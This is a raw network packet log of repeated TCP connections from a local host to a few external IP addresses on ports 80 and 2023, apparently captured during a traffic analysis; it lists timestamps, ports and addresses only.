Nov 5, 2024 02:14:53.989568949 CET	49739	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:53.990741014 CET	49741	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:14:53.996300936 CET	2023	49741	89.105.201.183	192.168.2.4
Nov 5, 2024 02:14:53.996388912 CET	49741	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:14:53.996414900 CET	49741	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:14:53.996459007 CET	49741	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:14:54.001950979 CET	2023	49741	89.105.201.183	192.168.2.4
Nov 5, 2024 02:14:54.001960039 CET	2023	49741	89.105.201.183	192.168.2.4
Nov 5, 2024 02:14:54.112847090 CET	49739	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:54.113141060 CET	49742	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:54.117924929 CET	80	49742	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:54.118005991 CET	49742	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:54.118097067 CET	49742	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:54.118190050 CET	80	49739	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:54.118235111 CET	49739	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:54.122831106 CET	80	49742	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:54.594192982 CET	2023	49741	89.105.201.183	192.168.2.4
Nov 5, 2024 02:14:54.596651077 CET	49741	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:14:55.039716005 CET	80	49742	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:55.040656090 CET	49742	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:55.160068989 CET	49742	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:55.160403013 CET	49743	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:55.165344954 CET	80	49743	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:55.165432930 CET	49743	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:55.165520906 CET	49743	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:55.165597916 CET	80	49742	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:55.165648937 CET	49742	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:55.170237064 CET	80	49743	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:56.088007927 CET	80	49743	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:56.088071108 CET	49743	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:56.207475901 CET	49743	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:56.207770109 CET	49744	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:56.212584972 CET	80	49743	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:56.212641954 CET	80	49744	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:56.212645054 CET	49743	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:56.212718010 CET	49744	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:56.212852001 CET	49744	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:56.217609882 CET	80	49744	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:57.128855944 CET	80	49744	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:57.128907919 CET	49744	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:57.238260031 CET	49744	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:57.243169069 CET	80	49744	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:57.544930935 CET	80	49744	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:57.544987917 CET	49744	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:57.660096884 CET	49744	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:57.660392046 CET	49755	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:57.665152073 CET	80	49755	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:57.665281057 CET	49755	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:57.665301085 CET	80	49744	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:57.665347099 CET	49744	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:57.665504932 CET	49755	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:57.670279026 CET	80	49755	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:58.581949949 CET	80	49755	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:58.582046986 CET	49755	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:58.691534042 CET	49755	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:58.696367025 CET	80	49755	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:58.994968891 CET	80	49755	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:58.995668888 CET	49755	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:59.114418030 CET	49755	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:59.114757061 CET	49766	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:59.119594097 CET	80	49766	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:59.119616032 CET	80	49755	185.208.158.202	192.168.2.4
Nov 5, 2024 02:14:59.119730949 CET	49755	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:59.120238066 CET	49766	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:59.120238066 CET	49766	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:14:59.124984980 CET	80	49766	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:00.072999001 CET	80	49766	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:00.073077917 CET	49766	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:00.194288015 CET	49766	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:00.194681883 CET	49772	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:00.199431896 CET	80	49772	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:00.199481964 CET	80	49766	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:00.199500084 CET	49772	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:00.199534893 CET	49766	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:00.199671984 CET	49772	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:00.204389095 CET	80	49772	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:01.120040894 CET	80	49772	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:01.120106936 CET	49772	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:01.238545895 CET	49772	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:01.238905907 CET	49778	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:01.243670940 CET	80	49772	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:01.243685961 CET	80	49778	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:01.243732929 CET	49772	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:01.243782997 CET	49778	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:01.243930101 CET	49778	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:01.248642921 CET	80	49778	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:02.187577963 CET	80	49778	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:02.187638998 CET	49778	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:02.300926924 CET	49778	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:02.301405907 CET	49784	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:02.306047916 CET	80	49778	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:02.306135893 CET	49778	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:02.306188107 CET	80	49784	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:02.306256056 CET	49784	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:02.306371927 CET	49784	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:02.311099052 CET	80	49784	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:03.241441011 CET	80	49784	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:03.241513968 CET	49784	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:03.363281012 CET	49784	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:03.363537073 CET	49795	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:03.368278980 CET	80	49795	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:03.368345976 CET	80	49784	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:03.368345976 CET	49795	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:03.368387938 CET	49784	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:03.368532896 CET	49795	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:03.373245955 CET	80	49795	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:04.281600952 CET	80	49795	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:04.285665035 CET	49795	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:04.410060883 CET	49795	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:04.410331011 CET	49801	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:04.415299892 CET	80	49801	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:04.415702105 CET	80	49795	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:04.415780067 CET	49795	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:04.415783882 CET	49801	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:04.415895939 CET	49801	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:04.420623064 CET	80	49801	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:05.349641085 CET	80	49801	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:05.349729061 CET	49801	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:05.457112074 CET	49801	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:05.462363958 CET	80	49801	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:05.765630007 CET	80	49801	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:05.765707970 CET	49801	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:05.879193068 CET	49801	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:05.879504919 CET	49807	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:05.884305000 CET	80	49807	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:05.884341955 CET	80	49801	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:05.884423971 CET	49801	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:05.884589911 CET	49807	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:05.884589911 CET	49807	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:05.889359951 CET	80	49807	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:07.624946117 CET	80	49807	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:07.625027895 CET	49807	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:07.625124931 CET	80	49807	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:07.625169039 CET	49807	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:07.625180960 CET	80	49807	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:07.625216007 CET	49807	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:07.787895918 CET	49807	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:07.788219929 CET	49813	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:07.792913914 CET	80	49807	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:07.792948961 CET	80	49813	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:07.792973995 CET	49807	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:07.793016911 CET	49813	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:07.796719074 CET	49813	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:07.801482916 CET	80	49813	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:08.712713003 CET	80	49813	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:08.712801933 CET	49813	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:08.832097054 CET	49813	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:08.832400084 CET	49824	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:08.837467909 CET	80	49824	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:08.837549925 CET	49824	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:08.837619066 CET	80	49813	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:08.837676048 CET	49813	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:08.837677956 CET	49824	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:08.843363047 CET	80	49824	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:09.741288900 CET	80	49824	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:09.741372108 CET	49824	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:09.863720894 CET	49824	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:09.864151955 CET	49830	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:09.868834972 CET	80	49824	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:09.868913889 CET	49824	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:09.868926048 CET	80	49830	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:09.868992090 CET	49830	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:09.869139910 CET	49830	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:09.873904943 CET	80	49830	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:10.792814016 CET	80	49830	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:10.793641090 CET	49830	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:10.910166025 CET	49830	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:10.910589933 CET	49835	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:10.915441036 CET	80	49835	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:10.915766001 CET	80	49830	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:10.915847063 CET	49830	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:10.915853977 CET	49835	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:10.916002989 CET	49835	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:10.920708895 CET	80	49835	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:11.835649014 CET	80	49835	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:11.835814953 CET	49835	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:11.957160950 CET	49835	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:11.957577944 CET	49841	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:11.962419033 CET	80	49841	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:11.962454081 CET	80	49835	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:11.962511063 CET	49841	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:11.962538004 CET	49835	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:11.962661028 CET	49841	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:11.967381001 CET	80	49841	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:12.866600990 CET	80	49841	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:12.866652966 CET	49841	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:12.973925114 CET	49841	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:12.978780985 CET	80	49841	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:13.283210993 CET	80	49841	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:13.283294916 CET	49841	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:13.541013956 CET	49841	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:13.541299105 CET	49850	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:13.547549009 CET	80	49841	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:13.547612906 CET	49841	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:13.547782898 CET	80	49850	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:13.547842026 CET	49850	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:13.551901102 CET	49850	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:13.556597948 CET	80	49850	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:14.463622093 CET	80	49850	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:14.463695049 CET	49850	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:14.583192110 CET	49850	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:14.583513975 CET	49857	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:14.588359118 CET	80	49857	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:14.588424921 CET	49857	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:14.588634014 CET	49857	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:14.588931084 CET	80	49850	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:14.588983059 CET	49850	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:14.593420029 CET	80	49857	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:15.528147936 CET	80	49857	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:15.528203964 CET	49857	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:15.645194054 CET	49857	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:15.645766973 CET	49863	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:15.650548935 CET	80	49863	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:15.650657892 CET	49863	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:15.650852919 CET	49863	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:15.651506901 CET	80	49857	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:15.651565075 CET	49857	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:15.655630112 CET	80	49863	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:16.578191042 CET	80	49863	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:16.578267097 CET	49863	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:16.691839933 CET	49863	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:16.692217112 CET	49868	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:16.697053909 CET	80	49863	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:16.697069883 CET	80	49868	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:16.697110891 CET	49863	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:16.697148085 CET	49868	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:16.697303057 CET	49868	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:16.702069044 CET	80	49868	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:17.617749929 CET	80	49868	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:17.617801905 CET	49868	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:17.738059044 CET	49868	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:17.738346100 CET	49875	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:17.743338108 CET	80	49875	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:17.743411064 CET	49875	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:17.743477106 CET	80	49868	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:17.743524075 CET	49868	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:17.743571997 CET	49875	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:17.749022007 CET	80	49875	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:18.668437958 CET	80	49875	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:18.669238091 CET	49875	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:18.838895082 CET	49875	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:18.842653990 CET	49880	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:18.844357967 CET	80	49875	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:18.844645023 CET	49875	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:18.847493887 CET	80	49880	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:18.847580910 CET	49880	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:18.850919008 CET	49880	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:18.855705023 CET	80	49880	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:19.767070055 CET	80	49880	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:19.767131090 CET	49880	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:19.899640083 CET	49880	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:19.899992943 CET	49888	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:19.904880047 CET	80	49888	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:19.904891968 CET	80	49880	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:19.904962063 CET	49880	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:19.904973030 CET	49888	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:19.905107975 CET	49888	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:19.909816027 CET	80	49888	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:20.821425915 CET	80	49888	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:20.821476936 CET	49888	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:20.941276073 CET	49888	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:20.941525936 CET	49894	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:20.946321964 CET	80	49894	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:20.946515083 CET	80	49888	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:20.946597099 CET	49888	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:20.946604967 CET	49894	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:20.946719885 CET	49894	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:20.951421976 CET	80	49894	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:21.893534899 CET	80	49894	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:21.893590927 CET	49894	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:22.003844023 CET	49894	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:22.009223938 CET	80	49894	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:22.318644047 CET	80	49894	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:22.318772078 CET	49894	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:22.425765991 CET	49894	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:22.430561066 CET	80	49894	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:22.735111952 CET	80	49894	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:22.735176086 CET	49894	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:22.847554922 CET	49894	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:22.853856087 CET	80	49894	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:23.162820101 CET	80	49894	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:23.162892103 CET	49894	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:23.274218082 CET	49894	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:23.279032946 CET	80	49894	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:23.583112001 CET	80	49894	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:23.583164930 CET	49894	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:23.691534996 CET	49894	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:23.698257923 CET	80	49894	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:24.001549006 CET	80	49894	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:24.001625061 CET	49894	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:24.175105095 CET	49894	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:24.175474882 CET	49913	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:24.180304050 CET	80	49913	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:24.180315971 CET	80	49894	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:24.180377960 CET	49913	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:24.180408955 CET	49894	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:24.196854115 CET	49913	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:24.201649904 CET	80	49913	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:24.264396906 CET	2023	49737	89.105.201.183	192.168.2.4
Nov 5, 2024 02:15:24.314117908 CET	49737	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:15:24.398529053 CET	49914	80	192.168.2.4	199.101.131.210
Nov 5, 2024 02:15:24.403347015 CET	80	49914	199.101.131.210	192.168.2.4
Nov 5, 2024 02:15:24.403408051 CET	49914	80	192.168.2.4	199.101.131.210
Nov 5, 2024 02:15:24.403666019 CET	49915	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:15:24.408452034 CET	2023	49915	89.105.201.183	192.168.2.4
Nov 5, 2024 02:15:24.408503056 CET	49915	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:15:24.408572912 CET	49915	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:15:24.413332939 CET	2023	49915	89.105.201.183	192.168.2.4
Nov 5, 2024 02:15:24.413393974 CET	49915	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:15:24.418189049 CET	2023	49915	89.105.201.183	192.168.2.4
Nov 5, 2024 02:15:25.095529079 CET	80	49913	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:25.096098900 CET	49913	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:25.206969023 CET	49913	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:25.211839914 CET	80	49913	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:25.242810011 CET	2023	49915	89.105.201.183	192.168.2.4
Nov 5, 2024 02:15:25.242985964 CET	49914	80	192.168.2.4	199.101.131.210
Nov 5, 2024 02:15:25.247956991 CET	80	49914	199.101.131.210	192.168.2.4
Nov 5, 2024 02:15:25.297895908 CET	49915	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:15:25.516474009 CET	80	49913	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:25.516612053 CET	49913	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:25.628530025 CET	49913	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:25.633362055 CET	80	49913	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:25.931149960 CET	80	49913	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:25.931277037 CET	49913	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:26.050735950 CET	49913	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:26.051059008 CET	49926	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:26.056051970 CET	80	49913	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:26.056066990 CET	80	49926	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:26.056124926 CET	49913	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:26.056165934 CET	49926	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:26.056333065 CET	49926	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:26.061084986 CET	80	49926	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:26.643105984 CET	80	49914	199.101.131.210	192.168.2.4
Nov 5, 2024 02:15:26.643835068 CET	49915	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:15:26.648628950 CET	2023	49915	89.105.201.183	192.168.2.4
Nov 5, 2024 02:15:26.688550949 CET	49914	80	192.168.2.4	199.101.131.210
Nov 5, 2024 02:15:27.010674953 CET	80	49926	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:27.012320042 CET	49926	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:27.211504936 CET	49926	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:27.211853981 CET	49933	80	192.168.2.4	185.208.158.202
